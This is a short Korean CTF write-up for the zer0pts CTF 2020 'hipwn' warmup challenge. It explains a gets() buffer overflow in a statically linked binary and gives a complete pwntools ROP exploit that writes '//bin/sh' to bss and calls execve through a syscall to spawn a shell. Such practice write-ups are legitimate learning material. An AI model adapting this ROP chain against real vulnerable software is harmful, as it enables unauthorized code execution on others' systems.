zer0pts ctf 2020 - hipwn

utctf끝나고 참가하지 못했던 zer0ctf의 pwn도 풀어보고자 바이너리를 찾아봤다.

 

 

hipwn은 기본적은 warmup 문제다..

보호기법은 Partial RELRO에 NX가 활성화 되어있다.

 

hipwn은 statically linked 되어있기 때문에 syscall을 통해 exploit을 진행해야 한다.

 

문제에서 주어진 main.c를 보면 gets함수에서 bof가 발생하는 것을 볼 수 있다.

 

간단하게 execve("/bin/sh", 0, 0)을 실행시키는 코드를 만들어서 실행시키면 쉘을 딸 수 있다.

 

exploit code

 

from pwn import *
 
p = process("./chall")
 
mov_prdi_rax = 0x0000000000400704 # mov qword ptr [rdi], rax
 
bin_sh = 0x68732f6e69622f2f
bss = 0x0000000000604D14
 
pop_rax = 0x0000000000400121
pop_rdi = 0x000000000040141c
pop_rsi_r15 = 0x000000000040141a
pop_rdx = 0x00000000004023f5
syscall = 0x00000000004003fc
 
pay = ''
pay += 'a'*0x108
pay += p64(pop_rax)
pay += p64(bin_sh)
 
pay += p64(pop_rdi)
pay += p64(bss)
 
pay += p64(mov_prdi_rax)    # [rdi] = "//bin/sh"
 
pay += p64(pop_rax)
pay += p64(59)
 
pay += p64(pop_rsi_r15)
pay += p64(0)
pay += p64(0)
 
pay += p64(pop_rdx)
pay += p64(0)
pay += p64(syscall)    # execve("/bin/sh", 0, 0)
 
p.sendline(pay)
 
 
p.interactive()